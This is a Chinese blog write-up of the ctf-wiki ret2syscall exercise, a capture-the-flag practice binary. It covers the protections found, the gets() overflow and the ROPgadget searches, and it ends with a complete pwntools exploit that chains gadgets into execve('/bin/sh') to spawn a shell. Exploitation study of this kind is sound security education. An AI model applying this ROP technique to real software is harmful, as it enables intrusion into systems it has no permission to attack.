zoukankan      html  css  js  c++  java
  • ctfwiki-pwn:Basic ROP(ret2syscall)

    原理 

    ret2syscall,即控制程序执行系统调用,获取 shell。

    例子 

    点击下载: ret2syscall

    首先检测程序开启的保护

    ret2syscall checksec rop
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4; // [sp+1Ch] [bp-64h]@1
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 1, 0);
      puts("This time, no system() and NO SHELLCODE!!!");
      puts("What do you plan to do?");
      gets(&v4);
      return 0;
    }

    可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

    简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

    execve("/bin/sh",NULL,NULL)

    其中,该程序是 32 位,所以我们需要使得

    • 系统调用号,即 eax 应该为 0xb
    • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
    • 第二个参数,即 ecx 应该为 0
    • 第三个参数,即 edx 应该为 0

    而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

    首先,我们来寻找控制 eax 的 gadgets

    root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop  --only "pop|ret" |grep "eax"

    可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。

    这个gadgets可以直接控制其它三个寄存器

    root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop  --only "pop|ret" |grep "ebx"
    0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

    此外,我们需要获得 /bin/sh 字符串对应的地址。

    root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop  --string "/bin/sh"
    Strings information
    ============================================================
    0x080be408 : /bin/sh

    int 0x80 的地址

    root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop  --only "int"
    Gadgets information
    ============================================================
    0x08049421 : int 0x80

      

    函数返回时通常会执行下列指令

    mov esp ,ebp
    pop ebp 上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
    ret 使eip变为返回地址,然后jmp

    Syscall的函数调用规范为:execve(“/bin/sh”, 0,0);

    所以,eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0

    它对应的汇编代码为:

    pop eax# 系统调用号载入, execve为0xb
    pop ebx# 第一个参数, /bin/sh的string
    pop ecx# 第二个参数,0
    pop edx# 第三个参数,0
    int 0x80

    当初笔者也是不太理解原理的,经过思考得知:

    我们构造payload,先填充到ret前,接下来执行ret,这里因为要调用execve函数,所以要将对应的寄存器赋值才能执行。

    这时候我们开启了NX,栈不可执行。怎么把对应的寄存器赋值呢?

    这里用了一个巧妙的办法,搜索多个gadget片段(ret结尾的),给相应的寄存器赋值。

    为什么如pop eax ; ret这样的指令会给寄存器赋值呢?

    首先了解一下ret指令干了什么,16为汇编的ret的汇编指令执行如下:

    ip=ss*16+sp

    sp=sp+2

    这时候问题就解决了,因为指令执行到填充完的ret前时,这时候esp指向ret,紧接着指令执行ret后,即准备执行ret存储的内容(pop eax;ret),但是ret指令不仅会修改eip,还会把栈顶前移,这时候32位的程序会把esp向栈顶移4位

    此时的esp指向的就是我们要赋予eax的值:0xb,ret指令执行完后,eip指向了pop eax;ret。

    执行pop eax(将0xb赋给eax,esp+4),在执行ret命令(eip指向esp+4)即pop_edx_ecx_ebx_ret。以此类推将对应的寄存器赋值,最后eip跳转到int 80的地址执行完成整个ret2syscall

    编写EXP:

    #!/usr/bin/env python
    from pwn import *
    
    sh = process('./rop')
    
    pop_eax_ret = 0x080bb196
    pop_edx_ecx_ebx_ret = 0x0806eb90
    int_0x80 = 0x08049421
    binsh = 0x80be408
    #payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh,int_0x80])
    payload=flat(['a'*112,0x080bb196,0xb,0x0806eb90,0,0,0x080be408,0x08049421])
    sh.sendline(payload)
    sh.interactive()

    参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/

              https://blog.csdn.net/qq_33948522/article/details/93880812

  • 相关阅读:
    Linux基础知识
    c语言依赖倒转
    ios的认识
    ios数据的基本类型和流程控制
    JavaScript 创建 自定义对象
    《大道至简》读后感
    总结
    字符串转换成整型并求和
    《大道之简》第二章
    SQL Server 2008 数据库自动备份
  • 原文地址:https://www.cnblogs.com/luocodes/p/13923416.html
Copyright © 2011-2022 走看看